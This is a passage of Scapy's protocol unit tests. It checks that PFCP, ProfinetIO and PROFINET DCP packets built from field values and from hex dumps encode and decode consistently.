IE_FAR_Id(id=2), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="SGi-LAN/N6-LAN"), IE_NetworkInstance(instance="sgi"), ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=3), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="Access"), IE_NetworkInstance(instance="access") ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=1), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="Access"), IE_NetworkInstance(instance="access") ]) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=4), IE_PDI(IE_list=[ IE_NetworkInstance(instance="access"), IE_SDF_Filter( FD=1, flow_description="permit out ip from 198.19.65.4 to assigned"), IE_SourceInterface(interface="Access"), IE_UE_IP_Address(ipv4="10.192.0.0", V4=1) ]), IE_PDR_Id(id=4), IE_Precedence(precedence=100), IE_URR_Id(id=2) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=2), IE_PDI(IE_list=[ IE_NetworkInstance(instance="access"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.2 to assigned"), IE_SourceInterface(interface="Access"), IE_UE_IP_Address(ipv4="10.192.0.0", V4=1) ]), IE_PDR_Id(id=2), IE_Precedence(precedence=200), IE_URR_Id(id=1) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=3), IE_PDI(IE_list=[ IE_NetworkInstance(instance="sgi"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.4 to assigned"), IE_SourceInterface(interface="SGi-LAN/N6-LAN"), IE_UE_IP_Address(ipv4="10.192.0.0", SD=1, V4=1) ]), IE_PDR_Id(id=3), IE_Precedence(precedence=100), IE_URR_Id(id=2) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=1), IE_PDI(IE_list=[ IE_NetworkInstance(instance="sgi"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.2 to assigned"), IE_SourceInterface(interface="SGi-LAN/N6-LAN"), IE_UE_IP_Address(ipv4="10.192.0.0", SD=1, V4=1) ]), IE_PDR_Id(id=1), IE_Precedence(precedence=200), IE_URR_Id(id=1) ]), IE_CreateURR(IE_list=[ IE_MeasurementMethod(VOLUM=1), IE_ReportingTriggers(), IE_URR_Id(id=2) ]), IE_CreateURR(IE_list=[ IE_MeasurementMethod(VOLUM=1), IE_ReportingTriggers(), IE_URR_Id(id=1) ]), IE_FSEID(ipv4="172.18.1.1", v4=1, seid=0xffde7210d971c146), IE_NodeId(id_type="FQDN", id="ergw")]) assert bytes(pfcpSEReq2) == pfcpSEReq2Bytes assert bytes(PFCP(pfcpSEReq2Bytes)) == pfcpSEReq2Bytes pfcpSEReq3Bytes = hex_bytes("213203a10000000000000000000003000003001e002c000102006c0004000000060004000d002a000102001600040373676900030037002c000102006c00040000000400040026002a000102001600040373676900260015020012687474703a2f2f6578616d706c652e636f6d0003001e002c000102006c0004000000020004000d002a000102001600040373676900030021002c000102006c00040000000500040010002a000100001600070661636365737300030021002c000102006c00040000000300040010002a000100001600070661636365737300030021002c000102006c00040000000100040010002a000100001600070661636365737300010042006c000400000006000200200018000354535400160007066163636573730014000100005d0005020ac00000003800020006001d00040000009600510004000000030001006d006c0004000000040002004b00160007066163636573730017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3420746f2061737369676e65640014000100005d0005020ac00000003800020004001d00040000006400510004000000020001006d006c0004000000020002004b00160007066163636573730017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3220746f2061737369676e65640014000100005d0005020ac00000003800020002001d0004000000c800510004000000010001003f006c0004000000050002001d0018000354535400160004037367690014000102005d0005060ac00000003800020005001d00040000009600510004000000030001006a006c0004000000030002004800160004037367690017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3420746f2061737369676e65640014000102005d0005060ac00000003800020003001d00040000006400510004000000020001006a006c0004000000010002004800160004037367690017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3220746f2061737369676e65640014000102005d0005060ac00000003800020001001d0004000000c8005100040000000100060013003e000102002500020000005100040000000200060013003e000103002500020000005100040000000300060013003e00010200250002000000510004000000010039000d02ffde7211a5ab800aac120101003c0006020465726777") pfcpSEReq3 = PFCP(seq=3) / \ PFCPSessionEstablishmentRequest(IE_list=[ IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=6), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="SGi-LAN/N6-LAN"), IE_NetworkInstance(instance="sgi") ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=4), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="SGi-LAN/N6-LAN"), IE_NetworkInstance(instance="sgi"), IE_RedirectInformation(type="URL", address="http://example.com") ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=2), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="SGi-LAN/N6-LAN"), IE_NetworkInstance(instance="sgi") ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=5), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="Access"), IE_NetworkInstance(instance="access") ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=3), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="Access"), IE_NetworkInstance(instance="access") ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=1), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="Access"), IE_NetworkInstance(instance="access") ]) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=6), IE_PDI(IE_list=[ IE_ApplicationId(id="TST"), IE_NetworkInstance(instance="access"), IE_SourceInterface(interface="Access"), IE_UE_IP_Address(ipv4='10.192.0.0', V4=1) ]), IE_PDR_Id(id=6), IE_Precedence(precedence=150), IE_URR_Id(id=3) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=4), IE_PDI(IE_list=[ IE_NetworkInstance(instance="access"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.4 to assigned"), IE_SourceInterface(interface="Access"), IE_UE_IP_Address(ipv4='10.192.0.0', V4=1) ]), IE_PDR_Id(id=4), IE_Precedence(precedence=100), IE_URR_Id(id=2) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=2), IE_PDI(IE_list=[ IE_NetworkInstance(instance="access"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.2 to assigned"), IE_SourceInterface(interface="Access"), IE_UE_IP_Address(ipv4='10.192.0.0', V4=1) ]), IE_PDR_Id(id=2), IE_Precedence(precedence=200), IE_URR_Id(id=1) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=5), IE_PDI(IE_list=[ IE_ApplicationId(id="TST"), IE_NetworkInstance(instance="sgi"), IE_SourceInterface(interface="SGi-LAN/N6-LAN"), IE_UE_IP_Address(ipv4='10.192.0.0', SD=1, V4=1) ]), IE_PDR_Id(id=5), IE_Precedence(precedence=150), IE_URR_Id(id=3) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=3), IE_PDI(IE_list=[ IE_NetworkInstance(instance="sgi"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.4 to assigned"), IE_SourceInterface(interface="SGi-LAN/N6-LAN"), IE_UE_IP_Address(ipv4='10.192.0.0', SD=1, V4=1) ]), IE_PDR_Id(id=3), IE_Precedence(precedence=100), IE_URR_Id(id=2) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=1), IE_PDI(IE_list=[ IE_NetworkInstance(instance="sgi"), IE_SDF_Filter(FD=1, flow_description="permit out ip from 198.19.65.2 to assigned"), IE_SourceInterface(interface="SGi-LAN/N6-LAN"), IE_UE_IP_Address(ipv4='10.192.0.0', SD=1, V4=1) ]), IE_PDR_Id(id=1), IE_Precedence(precedence=200), IE_URR_Id(id=1) ]), IE_CreateURR(IE_list=[ IE_MeasurementMethod(VOLUM=1), IE_ReportingTriggers(), IE_URR_Id(id=2) ]), IE_CreateURR(IE_list=[ IE_MeasurementMethod(VOLUM=1, DURAT=1), IE_ReportingTriggers(), IE_URR_Id(id=3) ]), IE_CreateURR(IE_list=[ IE_MeasurementMethod(VOLUM=1), IE_ReportingTriggers(), IE_URR_Id(id=1) ]), IE_FSEID(ipv4='172.18.1.1', v4=1, seid=0xffde7211a5ab800a), IE_NodeId(id_type="FQDN", id="ergw") ]) assert bytes(pfcpSEReq3) == pfcpSEReq3Bytes assert bytes(PFCP(pfcpSEReq3Bytes)) == pfcpSEReq3Bytes = Build and dissect PFCP Session Establishment Response pfcpSERespBytes = hex_bytes("21330022ffde7210bf97810a0000020000130001010039000d02ffde7210bf97810aac120102") pfcpSEResp = PFCP(version=1, S=1, seq=2, seid=0xffde7210bf97810a) / \ PFCPSessionEstablishmentResponse(IE_list=[ IE_Cause(cause="Request accepted"), IE_FSEID(ipv4="172.18.1.2", v4=1, seid=0xffde7210bf97810a), ]) assert bytes(pfcpSEResp) == pfcpSERespBytes assert bytes(PFCP(pfcpSERespBytes)) == pfcpSERespBytes assert pfcpSEResp.answers(pfcpSEReq1) = Build and dissect PFCP Heartbeat Request pfcpHReqBytes = hex_bytes("2001000c0000030000600004e1a47d08") pfcpHReq = PFCP(version=1, S=0, seq=3) / \ PFCPHeartbeatRequest(IE_list=[ IE_RecoveryTimeStamp(timestamp=3785653512) ]) assert bytes(pfcpHReq) == pfcpHReqBytes assert bytes(PFCP(pfcpHReqBytes)) == pfcpHReqBytes # = Build and dissect PFCP Heartbeat Response pfcpHRespBytes = hex_bytes("2002000c0000030000600004e1a47af9") pfcpHResp = PFCP(version=1, S=0, seq=3) / \ PFCPHeartbeatResponse(IE_list=[ IE_RecoveryTimeStamp(timestamp=3785652985) ]) assert bytes(pfcpHResp) == pfcpHRespBytes assert bytes(PFCP(pfcpHRespBytes)) == pfcpHRespBytes assert pfcpHResp.answers(pfcpHReq) # = Build and dissect PFCP Session Report Request pfcpSRReq1Bytes = hex_bytes("21380034ffde7210bf99c00300006b0000270001020050001f00510004000000010068000400000001003f00021000005d0005020ac00001") pfcpSRReq1 = PFCP(seq=107, version=1, S=1, seid=18437299340760956931) / \ PFCPSessionReportRequest(IE_list=[ IE_ReportType(USAR=1), IE_UsageReport_SRR(IE_list=[ IE_URR_Id(id=1), IE_UR_SEQN(number=1), IE_UsageReportTrigger(START=1), IE_UE_IP_Address(ipv4="10.192.0.1", V4=1) ]) ]) assert bytes(pfcpSRReq1) == pfcpSRReq1Bytes assert bytes(PFCP(pfcpSRReq1Bytes)) == pfcpSRReq1Bytes pfcpSRReq2Bytes = hex_bytes("2138008a0ffde7210bf940000000310000270001020050007500510004000000030068000400000018003f00020100004b0004e1b44787004c0004e1b447910042001907000000000000000000000000000000000000000000000000004300040000000a8003000a48f9e1b4479137cbd8008004000a48f9e1b4478737cbd8008005000a48f9e1b4479137cbd800") pfcpSRReq2 = PFCP(seq=49, seid=1152331208797536256) / \ PFCPSessionReportRequest(IE_list=[ IE_ReportType(USAR=1), IE_UsageReport_SRR(IE_list=[ IE_URR_Id(id=3), IE_UR_SEQN(number=24), IE_UsageReportTrigger(PERIO=1), IE_StartTime(timestamp=3786688391), IE_EndTime(timestamp=3786688401), IE_VolumeMeasurement( DLVOL=1, ULVOL=1, TOVOL=1, total=0, uplink=0, downlink=0), IE_DurationMeasurement(duration=10), IE_EnterpriseSpecific( ietype=32771, enterprise_id=18681, data=b'\xe1\xb4G\x917\xcb\xd8\x00'), IE_EnterpriseSpecific( ietype=32772, enterprise_id=18681, data=b'\xe1\xb4G\x877\xcb\xd8\x00'), IE_EnterpriseSpecific( ietype=32773, enterprise_id=18681, data=b'\xe1\xb4G\x917\xcb\xd8\x00') ]) ]) assert bytes(pfcpSRReq2) == pfcpSRReq2Bytes assert bytes(PFCP(pfcpSRReq2Bytes)) == pfcpSRReq2Bytes pfcpSRReq3Bytes = hex_bytes("21380035a2a2aa9ad7f316fd0000010000270001020050002000510004000000010068000400000000003f0003100000005d000502ac100202") pfcpSRReq3 = PFCP(seq=1, seid=11719116762396169981) / \ PFCPSessionReportRequest(IE_list=[ IE_ReportType(USAR=1), IE_UsageReport_SRR(IE_list=[ IE_URR_Id(id=1), IE_UR_SEQN(number=0), IE_UsageReportTrigger(START=1, extra_data=b'\x00'), IE_UE_IP_Address(ipv4='172.16.2.2', V4=1) ]) ]) assert bytes(pfcpSRReq3) == pfcpSRReq3Bytes assert bytes(PFCP(pfcpSRReq3Bytes)) == pfcpSRReq3Bytes = Build and dissect PFCP Session Report Response pfcpSRRespBytes = hex_bytes("21390011ffde7210bf99c00300006b000013000101") pfcpSRResp = PFCP(version=1, S=1, seq=107, seid=0xffde7210bf99c003) / \ PFCPSessionReportResponse(IE_list=[ IE_Cause(cause="Request accepted") ]) assert bytes(pfcpSRResp) == pfcpSRRespBytes assert bytes(PFCP(pfcpSRRespBytes)) == pfcpSRRespBytes assert pfcpSRResp.answers(pfcpSRReq1) = Build and dissect PFCP Session Modification Request pfcpSMReqBytes = hex_bytes("21340018ffde72125aeb00a300000600004d00080051000400000001") pfcpSMReq = PFCP(pfcpSMReqBytes) pfcpSMReq = PFCP(version=1, seq=6, seid=0xffde72125aeb00a3) / \ PFCPSessionModificationRequest(IE_list=[ IE_QueryURR(IE_list=[IE_URR_Id(id=1)]) ]) assert bytes(pfcpSMReq) == pfcpSMReqBytes assert bytes(PFCP(pfcpSMReqBytes)) == pfcpSMReqBytes = Build and dissect PFCP Session Modification Response pfcpSMRespBytes = hex_bytes("2135008affde72125aeb00a3000006000013000101004e007500510004000000010068000400000000003f00028000004b0004e16e7efa004c0004e16e7efa004200190700000000000000000000000000000000000000000000000000430004000000008003000a48f9e16e7efa05566c008004000a48f9e16e7efa027f08008005000a48f9e16e7efa027f0800") pfcpSMResp = PFCP(version=1, seq=6, seid=0xffde72125aeb00a3) / \ PFCPSessionModificationResponse(IE_list=[ IE_Cause(cause=1), IE_UsageReport_SMR(IE_list=[ IE_URR_Id(id=1), IE_UR_SEQN(number=0), IE_UsageReportTrigger(IMMER=1), IE_StartTime(timestamp=3782115066), IE_EndTime(timestamp=3782115066), IE_VolumeMeasurement(DLVOL=1, ULVOL=1, TOVOL=1), IE_DurationMeasurement(), IE_EnterpriseSpecific(ietype=32771, enterprise_id=18681, data=b'\xe1n~\xfa\x05Vl\x00'), IE_EnterpriseSpecific(ietype=32772, enterprise_id=18681, data=b'\xe1n~\xfa\x02\x7f\x08\x00'), IE_EnterpriseSpecific(ietype=32773, enterprise_id=18681, data=b'\xe1n~\xfa\x02\x7f\x08\x00') ]) ]) assert bytes(pfcpSMResp) == pfcpSMRespBytes assert bytes(PFCP(pfcpSMRespBytes)) == pfcpSMRespBytes assert pfcpSMResp.answers(pfcpSMReq) = Verify IEs from difflib import unified_diff cases = [ dict( hex="0054000a0100010000000a177645", expect=IE_OuterHeaderCreation(GTPUUDPIPV4=1, TEID=0x01000000, ipv4="10.23.118.69")), dict( hex="002900050461626364", expect=IE_ForwardingPolicy(policy_identifier="abcd")), dict( hex="002e0001ae", expect=IE_DownlinkDataNotificationDelay(delay=174)), dict( hex="003d00020000", expect=IE_PFDContents()), dict( hex="005e00070300205903e95d", expect=IE_PacketRate(ULPR=1, DLPR=1, ul_time_unit="minute", ul_max_packet_rate=8281, dl_time_unit="day", dl_max_packet_rate=59741)), dict( hex="00850007010906638dccd5", expect=IE_MACAddress(SOUR=1, source_mac="09:06:63:8d:cc:d5")), dict( hex="00540014080017d0bd69dceb747a1e036c0f9c8d4af115d0", expect=IE_OuterHeaderCreation(UDPIPV6=1, ipv6="17d0:bd69:dceb:747a:1e03:6c0f:9c8d:4af1", port=5584)), dict( hex="006700050280df69b2", expect=IE_RemoteGTP_U_Peer(V4=1, ipv4="128.223.105.178")), ] for case in cases: bs = hex_bytes(case["hex"]) exp = case["expect"] dissected = type(exp)(bs) exp_text = exp.show2(dump=True) dissected_text = dissected.show2(dump=True) if exp_text != dissected_text: print("---\n%s\n---\n%s\n" % (exp_text, dissected_text)) for line in unified_diff(exp_text.split("\n"), dissected_text.split("\n"), fromfile="expected", tofile="dissected"): print(line) raise AssertionError("text mismatch") assert bytes(dissected) == bs assert bytes(exp) == bs # from difflib import unified_diff # expected = PFCP(pfcpSRReq2Bytes).show2(dump=True).split("\n") # actual = pfcpSRReq2.show2(dump=True).split("\n") # for line in unified_diff(expected, actual, fromfile="expected", tofile="actual"): # print(line) scapy-2.4.4/test/contrib/pnio.uts000066400000000000000000000170731372370053500167760ustar00rootroot00000000000000# coding: utf8 % ProfinetIO layer test campaign + Syntax check = Import the ProfinetIO layer from scapy.contrib.pnio import * from scapy.config import conf import re old_conf_dissector = conf.debug_dissector conf.debug_dissector=True + Check DCE/RPC layer = ProfinetIO default values raw(ProfinetIO()) == b'\x00\x00' = ProfinetIO overloads Ethertype p = Ether() / ProfinetIO() p.type == 0x8892 = ProfinetIO overloads UDP dport p = UDP() / ProfinetIO() p.dport == 0x8892 = Ether guesses ProfinetIO as payload class p = Ether(hex_bytes('ffffffffffff00000000000088920102')) isinstance(p.payload, ProfinetIO) and p.frameID == 0x0102 = UDP guesses ProfinetIO as payload class p = UDP(hex_bytes('12348892000a00000102')) isinstance(p.payload, ProfinetIO) and p.frameID == 0x0102 + PNIO RTC PDU tests = ProfinetIO PNIORealTime_IOxS parsing of a single status p = PNIORealTime_IOxS(b'\x80') assert(p.dataState == 1) assert(p.instance == 0) assert(p.reserved == 0) assert(p.extension == 0) p = PNIORealTime_IOxS(b'\xe1') assert(p.dataState == 1) assert(p.instance == 3) assert(p.reserved == 0) assert(p.extension == 1) True = ProfinetIO PNIORealTime_IOxS building of a single status p = PNIORealTime_IOxS(dataState = 'good', instance='subslot', extension=0) assert(raw(p) == b'\x80') p = PNIORealTime_IOxS(dataState = 'bad', instance='device', extension=1) assert(raw(p) == b'\x41') True = ProfinetIO PNIORealTime_IOxS parsing with multiple statuses TestPacket = type( 'TestPacket', (Packet,), { 'name': 'TestPacket', 'fields_desc': [ PacketListField('data', [], next_cls_cb= PNIORealTime_IOxS.is_extension_set) ], } ) p = TestPacket(b'\x81\xe1\x01\x80') assert(len(p.data) == 4) assert(p.data[0].dataState == 1) assert(p.data[0].instance == 0) assert(p.data[0].reserved == 0) assert(p.data[0].extension == 1) assert(p.data[1].dataState == 1) assert(p.data[1].instance == 3) assert(p.data[1].reserved == 0) assert(p.data[1].extension == 1) assert(p.data[2].dataState == 0) assert(p.data[2].instance == 0) assert(p.data[2].reserved == 0) assert(p.data[2].extension == 1) assert(p.data[3].dataState == 1) assert(p.data[3].instance == 0) assert(p.data[3].reserved == 0) assert(p.data[3].extension == 0) = ProfinetIO RTC PDU parsing without configuration p = Ether(b'\x00\x02\x04\x06\x08\x0a\x01\x03\x05\x07\x09\x0B\x88\x92\x80\x00\x01\x02\x03\x04\xf0\x00\x35\x00') assert(p[Ether].dst == '00:02:04:06:08:0a') assert(p[Ether].src == '01:03:05:07:09:0b') assert(p[Ether].type == 0x8892) assert(p[ProfinetIO].frameID == 0x8000) assert(isinstance(p[ProfinetIO].payload, PNIORealTimeCyclicPDU)) assert(len(p[PNIORealTimeCyclicPDU].data) == 1) assert(isinstance(p[PNIORealTimeCyclicPDU].data[0], PNIORealTimeCyclicDefaultRawData)) assert(p[PNIORealTimeCyclicDefaultRawData].data == b'\x01\x02\x03\x04') assert(p[PNIORealTimeCyclicPDU].padding == b'') assert(p[PNIORealTimeCyclicPDU].cycleCounter == 0xf000) assert(p[PNIORealTimeCyclicPDU].dataStatus == 0x35) assert(p[PNIORealTimeCyclicPDU].transferStatus == 0) True = ProfinetIO RTC PDU building p = Ether(src='01:03:05:07:09:0b', dst='00:02:04:06:08:0a')/ProfinetIO(frameID = 'PTCP-RTSyncPDU')/PNIORealTimeCyclicPDU( data=[ PNIORealTimeCyclicPDU.build_fixed_len_raw_type(10)(data = b'\x80'*10) ], padding = b'\x00'*8, cycleCounter = 900, dataStatus = 0x35, transferStatus = 0 ) assert( raw(p) == \ b'\x00\x02\x04\x06\x08\x0a' \ b'\x01\x03\x05\x07\x09\x0b' \ b'\x88\x92' \ b'\x00\x80' \ b'\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80' \ b'\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x03\x84' \ b'\x35' \ b'\x00' ) = ProfinetIO RTC PDU parsing with config scapy.config.conf.contribs['PNIO_RTC'][('01:03:05:07:09:0b', '00:02:04:06:08:0a', 0x8010)] = [ PNIORealTimeCyclicPDU.build_fixed_len_raw_type(5), PNIORealTimeCyclicPDU.build_fixed_len_raw_type(3), PNIORealTimeCyclicPDU.build_fixed_len_raw_type(2) ] p = Ether( b'\x00\x02\x04\x06\x08\x0a' \ b'\x01\x03\x05\x07\x09\x0B' \ b'\x88\x92' \ b'\x80\x10' \ b'\x01\x02\x03\x04\x05' \ b'\x01\x02\x03' \ b'\x01\x02' \ b'\x00\x00' \ b'\xf0\x00' \ b'\x35' \ b'\x00' ) assert(p[Ether].dst == '00:02:04:06:08:0a') assert(p[Ether].src == '01:03:05:07:09:0b') assert(p[Ether].type == 0x8892) assert(p[ProfinetIO].frameID == 0x8010) assert(isinstance(p[ProfinetIO].payload, PNIORealTimeCyclicPDU)) assert(len(p[PNIORealTimeCyclicPDU].data) == 3) assert(isinstance(p[PNIORealTimeCyclicPDU].data[0], scapy.config.conf.raw_layer)) assert(p[PNIORealTimeCyclicPDU].data[0].data == b'\x01\x02\x03\x04\x05') assert(isinstance(p[PNIORealTimeCyclicPDU].data[1], scapy.config.conf.raw_layer)) assert(p[PNIORealTimeCyclicPDU].data[1].data == b'\x01\x02\x03') assert(isinstance(p[PNIORealTimeCyclicPDU].data[2], scapy.config.conf.raw_layer)) assert(p[PNIORealTimeCyclicPDU].data[2].data == b'\x01\x02') assert(p[PNIORealTimeCyclicPDU].padding == b'\x00' * 2) assert(p[PNIORealTimeCyclicPDU].cycleCounter == 0xf000) assert(p[PNIORealTimeCyclicPDU].dataStatus == 0x35) assert(p[PNIORealTimeCyclicPDU].transferStatus == 0) p = Ether(b'\x00\x02\x04\x06\x08\x0a\x01\x03\x05\x07\x09\x0B\x88\x92\x80\x00\x01\x02\x03\x04\xf0\x00\x35\x00') assert(p[Ether].dst == '00:02:04:06:08:0a') assert(p[Ether].src == '01:03:05:07:09:0b') assert(p[Ether].type == 0x8892) assert(p[ProfinetIO].frameID == 0x8000) assert(isinstance(p[ProfinetIO].payload, PNIORealTimeCyclicPDU)) assert(len(p[PNIORealTimeCyclicPDU].data) == 1) assert(isinstance(p[PNIORealTimeCyclicPDU].data[0], PNIORealTimeCyclicDefaultRawData)) assert(p[PNIORealTimeCyclicDefaultRawData].data == b'\x01\x02\x03\x04') assert(p[PNIORealTimeCyclicPDU].padding == b'') assert(p[PNIORealTimeCyclicPDU].cycleCounter == 0xf000) assert(p[PNIORealTimeCyclicPDU].dataStatus == 0x35) assert(p[PNIORealTimeCyclicPDU].transferStatus == 0) True = PROFIsafe parsing (query with F_CRC_SEED=0) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 2)(b'\x80\x80\x40\x01\x02\x03') assert(p.data == b'\x80\x80') assert(p.control == 0x40) assert(p.crc == 0x010203) True = PROFIsafe parsing (query with F_CRC_SEED=1) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeControlCRCSeed, 2)(b'\x80\x80\x40\x01\x02\x03\x04') assert(p.data == b'\x80\x80') assert(p.control == 0x40) assert(p.crc == 0x01020304) True = PROFIsafe parsing (response with F_CRC_SEED=0) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatus, 1)(b'\x80\x40\x01\x02\x03') assert(p.data == b'\x80') assert(p.status == 0x40) assert(p.crc == 0x010203) True = PROFIsafe parsing (response with F_CRC_SEED=1) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatusCRCSeed, 1)(b'\x80\x40\x01\x02\x03\x04') assert(p.data == b'\x80') assert(p.status == 0x40) assert(p.crc == 0x01020304) True = PROFIsafe building (query with F_CRC_SEED=0) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 2)(data = b'\x81\x80', control=0x40, crc=0x040506) assert(raw(p) == b'\x81\x80\x40\x04\x05\x06') = PROFIsafe building (query with F_CRC_SEED=1) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeControlCRCSeed, 2)(data = b'\x81\x80', control=0x02, crc=0x04050607) assert(raw(p) == b'\x81\x80\x02\x04\x05\x06\x07') = PROFIsafe building (response with F_CRC_SEED=0) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatus, 3)(data = b'\x01\x81\x00', status=0x01, crc=0x040506) assert(raw(p) == b'\x01\x81\x00\x01\x04\x05\x06') = PROFIsafe building (response with F_CRC_SEED=1) p = PROFIsafe.build_PROFIsafe_class(PROFIsafeStatusCRCSeed, 3)(data = b'\x01\x81\x80', status=0x01, crc=0x04050607) assert(raw(p) == b'\x01\x81\x80\x01\x04\x05\x06\x07') conf.debug_dissector = old_conf_dissector scapy-2.4.4/test/contrib/pnio_dcp.uts000066400000000000000000000177631372370053500176320ustar00rootroot00000000000000# coding: utf8 % ProfinetIO DCP layer test campaign + Syntax check = Import the ProfinetIO layer from scapy.contrib.pnio import * from scapy.contrib.pnio_dcp import * from scapy.config import conf import re old_conf_dissector = conf.debug_dissector conf.debug_dissector=True + PNIO DCP PDU tests = DCP Identify All Request parsing p = Ether(b'\x01\x0e\xcf\x00\x00\x00\x01\x23\x45\x67\x89\xab\x88\x92\xfe\xfe' \ b'\x05\x00\x01\x00\x00\x01\x00\x01\x00\x04\xff\xff\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert(p[Ether].dst == '01:0e:cf:00:00:00') assert(p[Ether].src == '01:23:45:67:89:ab') assert(p[Ether].type == 0x8892) assert(p[ProfinetIO].frameID == 0xfefe) assert(p[ProfinetDCP].service_id == 0x05) assert(p[ProfinetDCP].service_type == 0x00) assert(p[ProfinetDCP].xid == 0x1000001) assert(p[ProfinetDCP].reserved == 0x01) assert(p[ProfinetDCP].dcp_data_length == 0x04) assert(p[ProfinetDCP].option == 0xff) assert(p[ProfinetDCP].sub_option == 0xff) assert(p[ProfinetDCP].dcp_block_length == 0x00) = DCP Set Request parsing p = Ether(b'\x01\x23\x45\x67\x89\xac\x01\x23\x45\x67\x89\xab\x88\x92\xfe\xfd' \ b'\x04\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x02\x02\x00\x08\x00\x01' \ b'\x64\x65\x76\x69\x63\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert(p[Ether].dst == '01:23:45:67:89:ac') assert(p[Ether].src == '01:23:45:67:89:ab') assert(p[Ether].type == 0x8892) assert(p[ProfinetIO].frameID == 0xfefd) assert(p[ProfinetDCP].service_id == 0x04) assert(p[ProfinetDCP].service_type == 0x00) assert(p[ProfinetDCP].xid == 0x0000001) assert(p[ProfinetDCP].reserved == 0x00) assert(p[ProfinetDCP].dcp_data_length == 0x0c) assert(p[ProfinetDCP].option == 0x02) assert(p[ProfinetDCP].sub_option == 0x02) assert(p[ProfinetDCP].dcp_block_length == 0x08) assert(p[ProfinetDCP].block_qualifier == 0x01) = DCP Identify Response parsing p = Ether(b'\x94\x65\x9c\x51\x90\x7d\xac\x64\x17\x21\x35\xcf\x81\x00\x00\x00' \ b'\x88\x92\xfe\xff\x05\x01\x01\x00\x00\x01\x00\x00\x00\x4e\x02\x05' \ b'\x00\x04\x00\x00\x02\x07\x02\x01\x00\x09\x00\x00\x45\x54\x32\x30' \ b'\x30\x53\x50\x00\x02\x02\x00\x08\x00\x00\x64\x65\x76\x69\x63\x65' \ b'\x02\x03\x00\x06\x00\x00\x00\x2a\x03\x13\x02\x04\x00\x04\x00\x00' \ b'\x01\x00\x02\x07\x00\x04\x00\x00\x00\x01\x01\x02\x00\x0e\x00\x01' \ b'\xc0\xa8\x01\x0e\xff\xff\xff\x00\xc0\xa8\x01\x0e') # General assert(p[ProfinetIO].frameID == 0xfeff) assert(p[ProfinetDCP].service_id == 0x05) assert(p[ProfinetDCP].service_type == 0x01) assert(p[ProfinetDCP].xid == 0x1000001) assert(p[ProfinetDCP].reserved == 0x00) assert(p[ProfinetDCP].dcp_data_length == 0x4e) # - DCPDeviceOptionsBlock assert(p[DCPDeviceOptionsBlock].option == 0x02) assert(p[DCPDeviceOptionsBlock].sub_option == 0x05) assert(p[DCPDeviceOptionsBlock].dcp_block_length == 0x04) assert(p[DCPDeviceOptionsBlock].block_info == 0x00) # -- DeviceOption assert(p[DeviceOption].option == 0x02) assert(p[DeviceOption].sub_option == 0x07) # - DCPManufacturerSpecificBlock assert(p[DCPManufacturerSpecificBlock].option == 0x02) assert(p[DCPManufacturerSpecificBlock].sub_option == 0x01) assert(p[DCPManufacturerSpecificBlock].dcp_block_length == 0x09) assert(p[DCPManufacturerSpecificBlock].block_info == 0x00) assert(p[DCPManufacturerSpecificBlock].device_vendor_value == b'ET200SP') # - DCPNameOfStationBlock assert(p[DCPNameOfStationBlock].option == 0x02) assert(p[DCPNameOfStationBlock].sub_option == 0x02) assert(p[DCPNameOfStationBlock].dcp_block_length == 0x08) 